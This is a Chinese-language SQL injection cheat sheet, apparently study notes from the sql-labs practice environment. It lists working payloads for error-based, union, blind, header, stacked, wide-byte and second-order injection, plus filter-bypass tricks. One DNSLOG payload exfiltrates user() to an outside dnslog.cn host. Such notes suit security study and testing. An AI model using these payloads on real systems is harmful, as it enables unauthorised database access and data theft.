- 概念
- 发生在与数据库交互时;将未经过滤的用户输入信息合并到执行代码中造成恶意代码的执行
- 错误注入
- extractvalue(xml_flag,xpath)
- 如果出错打印xpath内容;数据库不识别#~符号
- extractvalue(1,concat('~',database(),'~')) 会打印出~数据库名~
- updatexml(xml_document,xpath,new_xml)
- 用法和extractvalue()函数类似;报错返回xpath内容
- updatexml(1,concat('~',database(),'~'),1)
- gtid_subset(设置1,设置2)
- 报错打印设置1的内容;设置1报错则不会执行设置2
- gtid_subset(user(),1)
- exp()
- e的幂次方;八个字节
- exp(709) 是边界
- exp(710) 就会报错;一般搭配截取函数注入、
- polygon()
- 报错直接把上级表名和数据库名报出来
- 输入一般为字段名,字段名不对则不会执行
- join()
- ' union select * from (select * from users a join users b)x--+
- ' union select * from (select * from users a join users b using(id))x--+
- ' union select * from (select * from users a join users b using(id,username))x--+
- ' union select * from (select * from users a join users b using(id,username,password))x limit 1,1--+
- mssql报错注入小技巧
- 1'and convert(int,db_name())='1
- id=1/user,'+1-system_user='1
- extractvalue(xml_flag,xpath)
- 联合注入
- 字段数相同+数据类型相同
- 利用order by 判断字段数
- order by 8
- 按照第8个字段排序;没有则报错
- order by 8
- union select 1,2,3
- 盲注
- 布尔盲注
- 回显内容只有两种情况;可以用于辨别输入语句正确与否
- 根据回显内容进行判断是否注入成功
- 时间盲注
- 回显内容一点变化都没有
- 根据响应时间判断是否注入成功
- 布尔盲注
- UA注入
- 在User-Agent字段内容注入
- 该位置不会url解析;直接用空格;不能用+代替
- 一般采用语句位insert或update
- Referer注入
- 和UA要求相同
- 一般采用语句位insert或update
- Cookie注入
- 和普通注入相同
- DNSLOG注入
- 注入实现条件
- root权限
- secure_file_priv(无设置或者设置为指定文件夹)
- null :表示不允许导入导出
- 没设置:无限制
- 指定文件夹:只能在指定文件夹中使用
- 通过 show global variables like 'secure%'; 进行查看该设置
- load_file(文件完整路径):
- 读取文件内容为一个字符串
- unc路径:
- //服务器名/共享资源名 格式:\\ren\share.txt 或者 //ren/share.txt ren 是服务器名 share.txt 共享资源文件名
- http://192.168.157.129/sql-labs/Less-1/?id=1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+
- 注入实现条件
- 堆叠注入
- 利用分号进行分割导致多条语句执行
- 如select 1,2,3 from table; select 4,5,6 from table1; #where id =1;
- 利用输入过滤不严格导致分号可以终结语句,此时可以实现多条语句进行执行,注释符注释掉后面的所有内容
- 宽字节注入
- 针对于GBK编码的
- GBK编码是将两个字符合并为一个中文字符;即输入的特殊符号都会和转义字符进行组合形成一个中文字符
- 此时可以利用添加字符的方式将转义字符吃掉,使自己的特殊字符起作用
- 如输入1’ 会被转义为 1\' 表现为 31 5c27 5c27会表示一个中文字符,此时输入1%df' 就会转为 31 df5c 27 df5c会形成一个汉字,但是单引号独立出来了,可以执行了
- 常用的宽字节吞噬符号有:
- 二次注入
- 通过注册带有恶意字符的用户名,然后在使用用户名和密码进行操作的时候(修改密码,查询,更新)实现出入效果
- 如注册用户名为admin'# 的用户名,在修改密码的情况下会自动识别为admin用户,这样就可以对admin用户进行操作
- 截取函数
- left()
- right()
- substring()
- substr()
- mid() 用法同substr()
- 条件判断
- if(a,b,c)
- a为真执行b;a为假时执行c
- 常与时间盲注搭配
- and if('a'='a',sleep(1),sleep(5)) --+
- case when a>b then a else b end
- 结尾必须为end
- if(a,b,c)
- 常用数据库
- information_schema (mysql 5.0 以上才有)
- schemata 存放数据库名的表
- schema_name 数据库名
- tables 存放所有表名的表
- table_schema 表所在的数据库名
- table_name 表名
- columns 存放所有字段的表
- table_schema 数据库名
- table_name 表名
- column_name 字段名
- schemata 存放数据库名的表
- information_schema (mysql 5.0 以上才有)
- 常用函数
- ascii() 将字符转为ascii码
- char() 将ascii码转为字符
- length() 获取字符的长度
- database() = schema()
- version()
- user()
- current_user()
- session_user()
- system_user()
- load_file() 转换成16进制或10进制mysql读取本地文件的函数
- @@datadir 数据库路径
- @@basedir mysql安装路径
- @@version_compile_os 操作系统
- 小技巧
- 语言
- 政府/国企/央企 大多是oracle
- asp:SQL Server,Access
- .net:SQL Server
- php:MySQL,PostgreSQL
- java:Oracle,MySQL
- 注释符
- /*是MySQL数据库的注释符
- --是Oracle和SQL Server支持的注释符
- ;是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
- #是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/
- /*!*/内联注释
- 如果数据库版本高于输入版本号;那么该语句会当成sql进行执行;
- 如 select * from users /*!union select 1,2,3*/;
- 反之则会当成注释内容
- select * from users /*!70000 union select 1,2,3*/;
- 我的数据库版本是5.7.0;就是50700<70000;所以这里内联注释中的内容会当成注释处理
- 如果数据库版本高于输入版本号;那么该语句会当成sql进行执行;
- 截取函数(substr substring)
- MySQL两个函数都可以使用
- Oracle只可调用substr
- SQL Server只可调用substring
- 拼接
- mysql :'a'+'b'='ab' concat('a','b')='ab'
- oracle :'a'||'b'='ab' concat('a','b')='ab'
- mssql :'a'+'b'='ab'
- 特有表
- mysql
- http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
- oracle
- http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
- mssql
- http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
- mysql
- 语言
- 常见过滤绕过手法
- and or 关键字绕过
- && || 替换;有时候&&需要使用url编码%26%26
- 双写绕过
- = 过滤
- <> > < like as in rlike regexp
- 空格过滤
- %09 %0a %0b %0c %0d + /**/
- 注释符过滤
- %00
- union select 过滤
- 双写绕过
- union all select (只针对整体过滤的情况)
- 逗号过滤
- from for
- substr(database() from 1 for 1)
- 可以代替逗号,表示起始位和输出数量
- offset
- limit 0 offset 1
- from for
- 截取函数被过滤了
- locate()
- position()
- instr()
- and or 关键字绕过
10